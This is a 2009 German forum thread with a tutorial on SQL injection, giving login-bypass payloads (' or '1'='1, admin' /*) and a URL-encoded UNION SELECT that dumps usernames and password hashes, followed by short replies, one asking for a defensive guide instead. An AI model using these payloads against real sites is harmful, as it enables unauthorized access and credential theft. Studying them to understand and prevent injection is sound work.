Register for your free account! | Forgot your password?

Go Back   elitepvpers > Off-Topics > Tutorials
You last visited: Today at 01:47

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



[HowTo] SQL Injektion

Discussion on [HowTo] SQL Injektion within the Tutorials forum part of the Off-Topics category.

Reply
 
Old   #1
 
elite*gold: 0
Join Date: Aug 2005
Posts: 108
Received Thanks: 30
[HowTo] SQL Injektion

Dies ist ein kurzes HowTo, um zu verstehen was mit einer SQL-Injektion gemeint ist und wie sich diese ausnutzen lässt. Diese Methode basiert grundsätzlich auf der ungenügenden
Prüfung von Benutzereingaben und lässt sich fast immer vermeiden.
Oftmals denken Programierer zum Zeitpunkt des Codings nicht daran, welches Schadenspotiential das ungeprüfte Weiterreichen von Benutzereingaben an den SQL-Interpreter.
Dabei kommen in keinster Weise Buffer-Overflows zum Einsatz oder sonstige Hacks.

1: Punkt Kennwortloser admin Zugang mittels OR Injektion:

Die wohl am häufigsten ausgenutzete Möglichkeit der SQL-Injektion ist die Benützerauthentisierung.
Dabei geht es oft wie folgt vor:

Eingabefeld(Variable $user): User
Eingabefeld(Variable $pass): Passwort:


Dies resultiert dann in einem etwas so lautenden SQL-Befehl:
( Anmerkung: Zur Veranschaulichung soll dies kein direkt lauffähiger Code sein sondern lediglich Pseudocode)

SELECT * from users WHERE user='$user' AND password='$pass'

Der normale Benutzer gibt jeweils seinen Usernamen an darauf gefolgt sein Passwort.
Beispiel: User = admin
Pass = geheim

SELECT * from users WHERE user='admin' AND password='geheim'

was passiert aber wenn der Benutzer nicht sein Kennwort angibt, sondern SQL-Befehle ?

Beispiel: User = admin
Pass = ' or '1' = '1

Beachtet bitte das führende ' und dass am Ende KEIN ' angegeben wird. Somit wird bei einer ungeprüften
Verarbeitung folgender SQL-Code erzeugt:

SELECT * from users WHERE user='admin' AND password=' ' or '1' =' 1'

Dies hat zur Folge, dass die logische Prüfung erweitert bzw umgewandelt wurde. Nämlich in 2 Teile:

- password=' ' or '1' =' 1'

Dies ist eine ODER-Verknüpfung, die immer war ist ( 1 = 1 ) somit TRUE

Substituiert folgt die zweite:

- user = 'admin' AND TRUE

Somit liefert die Abfrage ein positives Ergebnis genau dann, wenn es eines Benutzer gibt der 'admin' lautet.
Dass Passwort muss man garnicht wissen, da die Überprüfung umgangen wurde und man hat passwortlosen
Zugang.


2: Punkt Kennwortloser admin Zugang mittels Kommentar Injektion:

Gleiches Beispiel lediglich den Usernamen ändern wir ab:

User: admin' /*

Wichtig ist dass Leerzeichen zwichen ' und /*

Darauf folgt folgendes SQL-Statement:

SELECT * from users WHERE user ='admin' /* AND password='<irgendwas>'

Die Zeichenfolge /* leitet einen Kommentar ein und da kein schließendes */ angegeben wird wird alles was hinter /* steht ignoriert. Der resultierende SQL-Befehl lautet dann:

SELECT * from users WHERE user='admin'

Voila, sobald der Benutzer admin existiert hat man Zugang


3. Punkt Auslesen alle Benutzer und Kennworter mittels UNION SELECT

Um dieses Beispiel nachzuvollziehen ist ein wenig Kenntniss des Datenbankaufbaus oder der Abfrage
nötig. Dies ist aber i.d.R. nach wenigen Minuten browsen schon erledigt.
Man benütigt eine Seite aus der man quasi das Statement ableiten kann. Anfällig sind da Seiten,
die z.B. eine ID in der URL übergeben.

Z.B. sowas in der Art.

http://<webseite>?docuid=55


Möglicherweise wird darauf ein SQL-Statement generiert, welches etwas so aussieht:

SELCECT dokument from dokumententabelle WHERE DOCUID='55'

Der Angriff sieht hier nun vor, dass wir einfach das SQL-Statement erweitern.Nämlich um ein
UNION Feld. Dies hat zur Folge, dass die Ausgabe um das angefügte SQL-Statement ergänzt wird.

zb. in

SELCECT dokument from dokumententabelle WHERE DOCUID='55' UNION SELECT user,password from users

D.h. die URL muss dann so aussehen:

http://<webseite>?docuid=55%20%27UNION%20SELECT%20user%2C pass%20from%20users

Dabei werden entsprechenden ASCII-Zeichen in der URL angegeben:

%20 = Leerzeichen
%27 = '
%2C = ,

Als Ergebnis kommt dann neben dem Dokument noch eine Ausgabe aller Usernamen und gehashten Passwörten
zurück
kerby499 is offline  
Thanks
2 Users
Old 10/05/2009, 14:42   #2
 
elite*gold: 42
Join Date: Jun 2008
Posts: 5,425
Received Thanks: 1,888
Gut geschrieben, hier allerdings sicherlich nicht gern gesehen ;D
MoepMeep is offline  
Old 10/05/2009, 14:44   #3




 
bloodx's Avatar
 
elite*gold: 55
Join Date: Mar 2006
Posts: 4,582
Received Thanks: 1,539
lol'd

start->ausführen->1337Haxx0r->www.billgates.com->MoneyTransfer->MyBank
bloodx is offline  
Old 10/05/2009, 17:07   #4


 
Ende!'s Avatar
 
elite*gold: 1
Join Date: Feb 2009
Posts: 6,378
Received Thanks: 7,996
Gut geschrieben, aber was neues war für mich leider nicht dabei ^^

Aber ich bin mir sicher, dass einige Metin2 Kiddys jetzt alle oben genannten Möglichkeiten hier im Forum ausprobieren ;D

Auch wenn für mich nix neues dabei war, bekommste für die Mühe nen Thanks xD
Ende! is offline  
Old 10/06/2009, 12:51   #5
 
!Kott-Lätt!'s Avatar
 
elite*gold: 0
Join Date: Jan 2008
Posts: 953
Received Thanks: 1,015
sieht man nicht gerne heir
!Kott-Lätt! is offline  
Old 10/06/2009, 18:08   #6
 
Pand0r's Avatar
 
elite*gold: 1438
Join Date: Jun 2007
Posts: 3,214
Received Thanks: 758
Tutorial dagegen, sprich wie man sich alles schützt, wäre interesannter.

lg,
pand0r
Pand0r is offline  
Reply

Tags
injection, injektion, sql


Similar Threads Similar Threads
SQL-Injektion
03/23/2010 - Metin2 Private Server - 3 Replies
Hi, ich wollte mal fragen, ob beispielsweise bei der Regipage von xBloomx die Möglichkeit einer SQL-Injection besteht...:rolleyes:
[HowTo]Viel Geld schnell auf allen Pservern & .Us machen [HowTo]
10/16/2009 - Metin2 PServer Guides & Strategies - 36 Replies
Hey Leute, Habe in der SuFu nachgeschaut und es gab zwar schonma flüchtig ( glaube Meldsa hatte es mal erwähnt) bei welchen Quest's man gute Belohnungen bekommt aber nicht ausführlich.Die beste Quest,wie ich finde ist die 55er Quest.Diese Quest kann man auch auf dem deutschen metin2 machen,dennoch ist die Belohnung sehr gering im Gegensatz zu den Belohnungen in .us & allen Pservern. Ihr habt kein Geld?Ihr habt kein Equip um Item's zu farmen und damit Geld zu machen?Ihr habt keine Zeit um...



All times are GMT +2. The time now is 01:47.


Powered by vBulletin®
Copyright ©2000 - 2026, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2026 elitepvpers All Rights Reserved.